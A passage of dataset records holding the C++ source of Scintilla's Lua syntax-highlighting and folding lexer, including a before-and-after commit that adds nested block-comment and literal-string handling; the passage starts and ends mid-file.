\"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\nstatic inline bool IsAWordChar(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_');\n}\n\ninline bool IsAWordStart(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '_');\n}\n\ninline bool isLuaOperator(char ch) {\n\tif (isalnum(ch))\n\t\treturn false;\n\t\/\/ '.' left out as it is used to make up numbers\n\tif (ch == '*' || ch == '\/' || ch == '-' || ch == '+' ||\n\t\tch == '(' || ch == ')' || ch == '=' ||\n\t\tch == '{' || ch == '}' || ch == '~' ||\n\t\tch == '[' || ch == ']' || ch == ';' ||\n\t\tch == '<' || ch == '>' || ch == ',' ||\n\t\tch == '.' || ch == '^' || ch == '%' || ch == ':')\n\t\treturn true;\n\treturn false;\n}\n\nstatic void ColouriseLuaDoc(\n\tunsigned int startPos,\n\tint length,\n\tint initStyle,\n\tWordList *keywordlists[],\n\tAccessor &styler) {\n\n\tWordList &keywords = *keywordlists[0];\n\tWordList &keywords2 = *keywordlists[1];\n\tWordList &keywords3 = *keywordlists[2];\n\tWordList &keywords4 = *keywordlists[3];\n\tWordList &keywords5 = *keywordlists[4];\n\tWordList &keywords6 = *keywordlists[5];\n\n\tint currentLine = styler.GetLine(startPos);\n\t\/\/ Initialize the literal string [[ ... ]] nesting level, if we are inside such a string.\n\tint literalStringLevel = 0;\n\tif (initStyle == SCE_LUA_LITERALSTRING) {\n\t\tliteralStringLevel = styler.GetLineState(currentLine - 1);\n\t}\n\t\/\/ Initialize the block comment --[[ ... ]] nesting level, if we are inside such a comment\n\tint blockCommentLevel = 0;\n\tif (initStyle == SCE_LUA_COMMENT) {\n\t\tblockCommentLevel = styler.GetLineState(currentLine - 1);\n\t}\n\n\t\/\/ Do not leak onto next line\n\tif (initStyle == SCE_LUA_STRINGEOL) {\n\t\tinitStyle = SCE_LUA_DEFAULT;\n\t}\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\tif (startPos == 0 && sc.ch == '#') {\n\t\t\/\/ shbang line: # is a comment only if first char of the script\n\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t}\n\tfor (; sc.More(); sc.Forward()) {\n\t\tif (sc.atLineEnd) {\n\t\t\t\/\/ Update the line state, so it can be seen by next line\n\t\t\tcurrentLine = styler.GetLine(sc.currentPos);\n\t\t\tswitch (sc.state) {\n\t\t\tcase SCE_LUA_LITERALSTRING:\n\t\t\t\t\/\/ Inside a literal string, we set the line state\n\t\t\t\tstyler.SetLineState(currentLine, literalStringLevel);\n\t\t\t\tbreak;\n\t\t\tcase SCE_LUA_COMMENT: \t\/\/ Block comment\n\t\t\t\t\/\/ Inside a block comment, we set the line state\n\t\t\t\tstyler.SetLineState(currentLine, blockCommentLevel);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\/\/ Reset the line state\n\t\t\t\tstyler.SetLineState(currentLine, 0);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (sc.atLineStart && (sc.state == SCE_LUA_STRING)) {\n\t\t\t\/\/ Prevent SCE_LUA_STRINGEOL from leaking back to previous line\n\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t}\n\n\t\t\/\/ Handle string line continuation\n\t\tif ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) &&\n\t\t sc.ch == '\\\\') {\n\t\t\tif (sc.chNext == '\\n' || sc.chNext == '\\r') {\n\t\t\t\tsc.Forward();\n\t\t\t\tif (sc.ch == '\\r' && sc.chNext == '\\n') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Determine if the current state should terminate.\n\t\tif (sc.state == SCE_LUA_OPERATOR) {\n\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t} else if (sc.state == SCE_LUA_NUMBER) {\n\t\t\tif (!IsAWordChar(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_IDENTIFIER) {\n\t\t\tif (!IsAWordChar(sc.ch) || (sc.ch == '.')) {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrent(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD);\n\t\t\t\t} else if (keywords2.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD2);\n\t\t\t\t} else if (keywords3.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD3);\n\t\t\t\t} else if (keywords4.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD4);\n\t\t\t\t} else if (keywords5.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD5);\n\t\t\t\t} else if (keywords6.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD6);\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_COMMENTLINE ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_PREPROCESSOR ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_STRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_CHARACTER) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_LITERALSTRING) {\n\t\t\tif (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel++;\n\t\t\t\tsc.Forward();\n\t\t\t\tsc.SetState(SCE_LUA_LITERALSTRING);\n\t\t\t} else if (sc.Match(']', ']') && literalStringLevel > 0) {\n\t\t\t\tliteralStringLevel--;\n\t\t\t\tsc.Forward();\n\t\t\t\tif (literalStringLevel == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_COMMENT) {\t\/\/ Lua 5.0's block comment\n\t\t\tif (sc.Match('[', '[')) {\n\t\t\t\tblockCommentLevel++;\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match(']', ']') && blockCommentLevel > 0) {\n\t\t\t\tblockCommentLevel--;\n\t\t\t\tsc.Forward();\n\t\t\t\tif (blockCommentLevel == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Determine if a new state should be entered.\n\t\tif (sc.state == SCE_LUA_DEFAULT) {\n\t\t\tif (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_LUA_NUMBER);\n\t\t\t} else if (IsAWordStart(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_IDENTIFIER);\n\t\t\t} else if (sc.Match('\\\"')) {\n\t\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t\t} else if (sc.Match('\\'')) {\n\t\t\t\tsc.SetState(SCE_LUA_CHARACTER);\n\t\t\t} else if (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel = 1;\n\t\t\t\tsc.SetState(SCE_LUA_LITERALSTRING);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match(\"--[[\")) {\t\/\/ Lua 5.0's block comment\n\t\t\t\tblockCommentLevel = 1;\n\t\t\t\tsc.SetState(SCE_LUA_COMMENT);\n\t\t\t\tsc.Forward(3);\n\t\t\t} else if (sc.Match('-', '-')) {\n\t\t\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.atLineStart && sc.Match('$')) {\n\t\t\t\tsc.SetState(SCE_LUA_PREPROCESSOR);\t\/\/ Obsolete since Lua 4.0, but still in old code\n\t\t\t} else if (isLuaOperator(static_cast<char>(sc.ch))) {\n\t\t\t\tsc.SetState(SCE_LUA_OPERATOR);\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\nstatic void FoldLuaDoc(unsigned int startPos, int length, int \/* initStyle *\/, WordList *[],\n Accessor &styler) {\n\tunsigned int lengthDoc = startPos + length;\n\tint visibleChars = 0;\n\tint lineCurrent = styler.GetLine(startPos);\n\tint levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;\n\tint levelCurrent = levelPrev;\n\tchar chNext = styler[startPos];\n\tbool foldCompact = styler.GetPropertyInt(\"fold.compact\", 1) != 0;\n\tint styleNext = styler.StyleAt(startPos);\n\tchar s[10];\n\n\tfor (unsigned int i = startPos; i < lengthDoc; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\t\tint style = styleNext;\n\t\tstyleNext = styler.StyleAt(i + 1);\n\t\tbool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');\n\t\tif (style == SCE_LUA_WORD) {\n\t\t\tif (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') {\n\t\t\t\tfor (unsigned int j = 0; j < 8; j++) {\n\t\t\t\t\tif (!iswordchar(styler[i + j])) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\ts[j] = styler[i + j];\n\t\t\t\t\ts[j + 1] = '\\0';\n\t\t\t\t}\n\n\t\t\t\tif ((strcmp(s, \"if\") == 0) || (strcmp(s, \"do\") == 0) || (strcmp(s, \"function\") == 0)) {\n\t\t\t\t\tlevelCurrent++;\n\t\t\t\t}\n\t\t\t\tif ((strcmp(s, \"end\") == 0) || (strcmp(s, \"elseif\") == 0)) {\n\t\t\t\t\tlevelCurrent--;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (style == SCE_LUA_OPERATOR) {\n\t\t\tif (ch == '{' || ch == '(') {\n\t\t\t\tlevelCurrent++;\n\t\t\t} else if (ch == '}' || ch == ')') {\n\t\t\t\tlevelCurrent--;\n\t\t\t}\n\t\t} else if (style == SCE_LUA_COMMENT || style == SCE_LUA_LITERALSTRING) {\n\t\t\tif (ch == '[' && chNext == '[') {\n\t\t\t\tlevelCurrent++;\n\t\t\t} else if (ch == ']' && chNext == ']') {\n\t\t\t\tlevelCurrent--;\n\t\t\t}\n\t\t}\n\t\tif (atEOL) {\n\t\t\tint lev = levelPrev;\n\t\t\tif (visibleChars == 0 && foldCompact) {\n\t\t\t\tlev |= SC_FOLDLEVELWHITEFLAG;\n\t\t\t}\n\t\t\tif ((levelCurrent > levelPrev) && (visibleChars > 0)) {\n\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t}\n\t\t\tif (lev != styler.LevelAt(lineCurrent)) {\n\t\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\t}\n\t\t\tlineCurrent++;\n\t\t\tlevelPrev = levelCurrent;\n\t\t\tvisibleChars = 0;\n\t\t}\n\t\tif (!isspacechar(ch)) {\n\t\t\tvisibleChars++;\n\t\t}\n\t}\n\t\/\/ Fill in the real level of the next line, keeping the current flags as they will be filled in later\n\n\tint flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;\n\tstyler.SetLevel(lineCurrent, levelPrev | flagsNext);\n}\n\nstatic const char * const luaWordListDesc[] = {\n\t\"Keywords\",\n\t\"Basic functions\",\n\t\"String & math functions\",\n\t\"I\/O & system facilities\",\n\t\"XXX\",\n\t\"XXX\",\n\t0\n};\n\nLexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, \"lua\", FoldLuaDoc, luaWordListDesc);\n<|endoftext|>"} {"text":"<commit_before>\/\/ Scintilla source code edit control\n\/** @file LexLua.cxx\n ** Lexer for Lua language.\n **\n ** Written by Paul Winwood.\n ** Folder by Alexey Yutkin.\n ** Modified by Marcos E. Wurzius & Philippe Lhoste\n **\/\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <fcntl.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#define SCE_LUA_LAST_STYLE\tSCE_LUA_WORD6\n\nstatic inline bool IsAWordChar(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_');\n}\n\ninline bool IsAWordStart(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '_');\n}\n\ninline bool isLuaOperator(char ch) {\n\tif (isalnum(ch))\n\t\treturn false;\n\t\/\/ '.' left out as it is used to make up numbers\n\tif (ch == '*' || ch == '\/' || ch == '-' || ch == '+' ||\n\t\tch == '(' || ch == ')' || ch == '=' ||\n\t\tch == '{' || ch == '}' || ch == '~' ||\n\t\tch == '[' || ch == ']' || ch == ';' ||\n\t\tch == '<' || ch == '>' || ch == ',' ||\n\t\tch == '.' || ch == '^' || ch == '%' || ch == ':')\n\t\treturn true;\n\treturn false;\n}\n\nstatic void ColouriseLuaDoc(\n\tunsigned int startPos,\n\tint length,\n\tint initStyle,\n\tWordList *keywordlists[],\n\tAccessor &styler) {\n\n\tWordList &keywords = *keywordlists[0];\n\tWordList &keywords2 = *keywordlists[1];\n\tWordList &keywords3 = *keywordlists[2];\n\tWordList &keywords4 = *keywordlists[3];\n\tWordList &keywords5 = *keywordlists[4];\n\tWordList &keywords6 = *keywordlists[5];\n\n\t\/\/ Must initialize the literal string nesting level, if we are inside such a string.\n\tint literalStringLevel = 0;\n\tif (initStyle == SCE_LUA_LITERALSTRING) {\n\t\tliteralStringLevel = 1;\n\t}\n\t\/\/ We use states above the last one to indicate nesting level of literal strings\n\tif (initStyle > SCE_LUA_LAST_STYLE) {\n\t\tliteralStringLevel = initStyle - SCE_LUA_LAST_STYLE + 1;\n\t}\n\n\t\/\/ Do not leak onto next line\n\tif (initStyle == SCE_LUA_STRINGEOL) {\n\t\tinitStyle = SCE_LUA_DEFAULT;\n\t}\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\tif (startPos == 0 && sc.ch == '#') {\n\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t}\n\tfor (; sc.More(); sc.Forward()) {\n\t\tif (sc.atLineStart && (sc.state == SCE_LUA_STRING)) {\n\t\t\t\/\/ Prevent SCE_LUA_STRINGEOL from leaking back to previous line\n\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t}\n\n\t\t\/\/ Handle string line continuation\n\t\tif ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) &&\n\t\t\t\tsc.ch == '\\\\') {\n\t\t\tif (sc.chNext == '\\n' || sc.chNext == '\\r') {\n\t\t\t\tsc.Forward();\n\t\t\t\tif (sc.ch == '\\r' && sc.chNext == '\\n') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Determine if the current state should terminate.\n\t\tif (sc.state == SCE_LUA_OPERATOR) {\n\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t} else if (sc.state == SCE_LUA_NUMBER) {\n\t\t\tif (!IsAWordChar(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_IDENTIFIER) {\n\t\t\tif (!IsAWordChar(sc.ch) || (sc.ch == '.')) {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrent(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD);\n\t\t\t\t} else if (keywords2.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD2);\n\t\t\t\t} else if (keywords3.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD3);\n\t\t\t\t} else if (keywords4.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD4);\n\t\t\t\t} else if (keywords5.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD5);\n\t\t\t\t} else if (keywords6.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD6);\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_COMMENTLINE ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_PREPROCESSOR ) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_STRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_CHARACTER) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t} else if (sc.atLineEnd) {\n\t\t\t\tsc.ChangeState(SCE_LUA_STRINGEOL);\n\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_LITERALSTRING || sc.state > SCE_LUA_LAST_STYLE) {\n\t\t\tif (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel++;\n\t\t\t\tsc.SetState(SCE_LUA_LAST_STYLE + literalStringLevel - 1);\n\t\t\t} else if (sc.Match(']', ']') && literalStringLevel > 0) {\n\t\t\t\tliteralStringLevel--;\n\t\t\t\tsc.Forward();\n\t\t\t\tif (literalStringLevel == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_DEFAULT);\n\t\t\t\t} else if (literalStringLevel == 1) {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_LITERALSTRING);\n\t\t\t\t} else {\n\t\t\t\t\tsc.ForwardSetState(SCE_LUA_LAST_STYLE + literalStringLevel - 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\/\/ Determine if a new state should be entered.\n\t\tif (sc.state == SCE_LUA_DEFAULT) {\n\t\t\tif (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_LUA_NUMBER);\n\t\t\t} else if (IsAWordStart(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_IDENTIFIER);\n\t\t\t} else if (sc.Match('\\\"')) {\n\t\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t\t} else if (sc.Match('\\'')) {\n\t\t\t\tsc.SetState(SCE_LUA_CHARACTER);\n\t\t\t} else if (sc.Match('[', '[')) {\n\t\t\t\tliteralStringLevel = 1;\n\t\t\t\tsc.SetState(SCE_LUA_LITERALSTRING);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match('-', '-')) {\n\t\t\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t\t\t\tsc.Forward();\n\t\t\t} else if (sc.Match('$') && sc.atLineStart) {\n\t\t\t\tsc.SetState(SCE_LUA_PREPROCESSOR);\t\/\/ Obsolete since Lua 4.0, but still in old code\n\t\t\t} else if (isLuaOperator(static_cast<char>(sc.ch))) {\n\t\t\t\tsc.SetState(SCE_LUA_OPERATOR);\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\n\nstatic void FoldLuaDoc(unsigned int startPos, int length, int \/* initStyle *\/, WordList *[],\n Accessor &styler) {\n\tunsigned int lengthDoc = startPos + length;\n\tint visibleChars = 0;\n\tint lineCurrent = styler.GetLine(startPos);\n\tint levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;\n\tint levelCurrent = levelPrev;\n\tchar chNext = styler[startPos];\n\tbool foldCompact = styler.GetPropertyInt(\"fold.compact\", 1) != 0;\n\tint styleNext = styler.StyleAt(startPos);\n\tchar s[10];\n\n\tfor (unsigned int i = startPos; i < lengthDoc; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\t\tint style = styleNext;\n\t\tstyleNext = styler.StyleAt(i + 1);\n\t\tbool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');\n\t\tif (style == SCE_LUA_WORD) {\n\t\t\tif (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') {\n\t\t\t\tfor (unsigned int j = 0; j < 8; j++) {\n\t\t\t\t\tif (!iswordchar(styler[i + j])) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\ts[j] = styler[i + j];\n\t\t\t\t\ts[j + 1] = '\\0';\n\t\t\t\t}\n\n\t\t\t\tif ((strcmp(s, \"if\") == 0) || (strcmp(s, \"do\") == 0) || (strcmp(s, \"function\") == 0)) {\n\t\t\t\t\tlevelCurrent++;\n\t\t\t\t}\n\t\t\t\tif ((strcmp(s, \"end\") == 0) || (strcmp(s, \"elseif\") == 0)) {\n\t\t\t\t\tlevelCurrent--;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (style == SCE_LUA_OPERATOR) {\n\t\t\tif (ch == '{' || ch == '(') {\n\t\t\t\tlevelCurrent++;\n\t\t\t} else if (ch == '}' || ch == ')') {\n\t\t\t\tlevelCurrent--;\n\t\t\t}\n\t\t}\n\n\t\tif (atEOL) {\n\t\t\tint lev = levelPrev;\n\t\t\tif (visibleChars == 0 && foldCompact) {\n\t\t\t\tlev |= SC_FOLDLEVELWHITEFLAG;\n\t\t\t}\n\t\t\tif ((levelCurrent > levelPrev) && (visibleChars > 0)) {\n\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t}\n\t\t\tif (lev != styler.LevelAt(lineCurrent)) {\n\t\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\t}\n\t\t\tlineCurrent++;\n\t\t\tlevelPrev = levelCurrent;\n\t\t\tvisibleChars = 0;\n\t\t}\n\t\tif (!isspacechar(ch)) {\n\t\t\tvisibleChars++;\n\t\t}\n\t}\n\t\/\/ Fill in the real level of the next line, keeping the current flags as they will be filled in later\n\n\tint flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;\n\tstyler.SetLevel(lineCurrent, levelPrev | flagsNext);\n}\n\nLexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, \"lua\", FoldLuaDoc);\n<commit_msg>Patch from Philippe to handle block comments, and the deep nesting of strings and block comments.<commit_after>\/\/ Scintilla source code edit control\n\/** @file LexLua.cxx\n ** Lexer for Lua language.\n **\n ** Written by Paul Winwood.\n ** Folder by Alexey Yutkin.\n ** Modified by Marcos E. Wurzius & Philippe Lhoste\n **\/\n\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <fcntl.h>\n\n#include \"Platform.h\"\n\n#include \"PropSet.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"KeyWords.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\nstatic inline bool IsAWordChar(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_');\n}\n\ninline bool IsAWordStart(const int ch) {\n\treturn (ch < 0x80) && (isalnum(ch) || ch == '_');\n}\n\ninline bool isLuaOperator(char ch) {\n\tif (isalnum(ch))\n\t\treturn false;\n\t\/\/ '.' left out as it is used to make up numbers\n\tif (ch == '*' || ch == '\/' || ch == '-' || ch == '+' ||\n\t\tch == '(' || ch == ')' || ch == '=' ||\n\t\tch == '{' || ch == '}' || ch == '~' ||\n\t\tch == '[' || ch == ']' || ch == ';' ||\n\t\tch == '<' || ch == '>' || ch == ',' ||\n\t\tch == '.' || ch == '^' || ch == '%' || ch == ':')\n\t\treturn true;\n\treturn false;\n}\n\nstatic void ColouriseLuaDoc(\n\tunsigned int startPos,\n\tint length,\n\tint initStyle,\n\tWordList *keywordlists[],\n\tAccessor &styler) {\n\n\tWordList &keywords = *keywordlists[0];\n\tWordList &keywords2 = *keywordlists[1];\n\tWordList &keywords3 = *keywordlists[2];\n\tWordList &keywords4 = *keywordlists[3];\n\tWordList &keywords5 = *keywordlists[4];\n\tWordList &keywords6 = *keywordlists[5];\n\n\tint currentLine = styler.GetLine(startPos);\n\t\/\/ Initialize the literal string [[ ... ]] nesting level, if we are inside such a string.\n\tint literalStringLevel = 0;\n\tif (initStyle == SCE_LUA_LITERALSTRING) {\n\t\tliteralStringLevel = styler.GetLineState(currentLine - 1);\n\t}\n\t\/\/ Initialize the block comment --[[ ... ]] nesting level, if we are inside such a comment\n\tint blockCommentLevel = 0;\n\tif (initStyle == SCE_LUA_COMMENT) {\n\t\tblockCommentLevel = styler.GetLineState(currentLine - 1);\n\t}\n\n\t\/\/ Do not leak onto next line\n\tif (initStyle == SCE_LUA_STRINGEOL) {\n\t\tinitStyle = SCE_LUA_DEFAULT;\n\t}\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\tif (startPos == 0 && sc.ch == '#') {\n\t\t\/\/ shbang line: # is a comment only if first char of the script\n\t\tsc.SetState(SCE_LUA_COMMENTLINE);\n\t}\n\tfor (; sc.More(); sc.Forward()) {\n\t\tif (sc.atLineEnd) {\n\t\t\t\/\/ Update the line state, so it can be seen by next line\n\t\t\tcurrentLine = styler.GetLine(sc.currentPos);\n\t\t\tswitch (sc.state) {\n\t\t\tcase SCE_LUA_LITERALSTRING:\n\t\t\t\t\/\/ Inside a literal string, we set the line state\n\t\t\t\tstyler.SetLineState(currentLine, literalStringLevel);\n\t\t\t\tbreak;\n\t\t\tcase SCE_LUA_COMMENT: \t\/\/ Block comment\n\t\t\t\t\/\/ Inside a block comment, we set the line state\n\t\t\t\tstyler.SetLineState(currentLine, blockCommentLevel);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\/\/ Reset the line state\n\t\t\t\tstyler.SetLineState(currentLine, 0);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (sc.atLineStart && (sc.state == SCE_LUA_STRING)) {\n\t\t\t\/\/ Prevent SCE_LUA_STRINGEOL from leaking back to previous line\n\t\t\tsc.SetState(SCE_LUA_STRING);\n\t\t}\n\n\t\t\/\/ Handle string line continuation\n\t\tif ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) &&\n\t\t sc.ch == '\\\\') {\n\t\t\tif (sc.chNext == '\\n' || sc.chNext == '\\r') {\n\t\t\t\tsc.Forward();\n\t\t\t\tif (sc.ch == '\\r' && sc.chNext == '\\n') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Determine if the current state should terminate.\n\t\tif (sc.state == SCE_LUA_OPERATOR) {\n\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t} else if (sc.state == SCE_LUA_NUMBER) {\n\t\t\tif (!IsAWordChar(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_LUA_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_LUA_IDENTIFIER) {\n\t\t\tif (!IsAWordChar(sc.ch) || (sc.ch == '.')) {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrent(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD);\n\t\t\t\t} else if (keywords2.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD2);\n\t\t\t\t} else if (keywords3.InList(s)) {\n\t\t\t\t\tsc.ChangeState(SCE_LUA_WORD3);\n\t\t\t\t} else if 